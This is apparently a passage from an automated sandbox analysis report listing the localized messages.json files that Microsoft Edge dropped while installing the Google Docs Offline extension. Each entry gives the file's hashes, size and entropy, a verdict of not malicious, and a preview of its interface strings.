Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
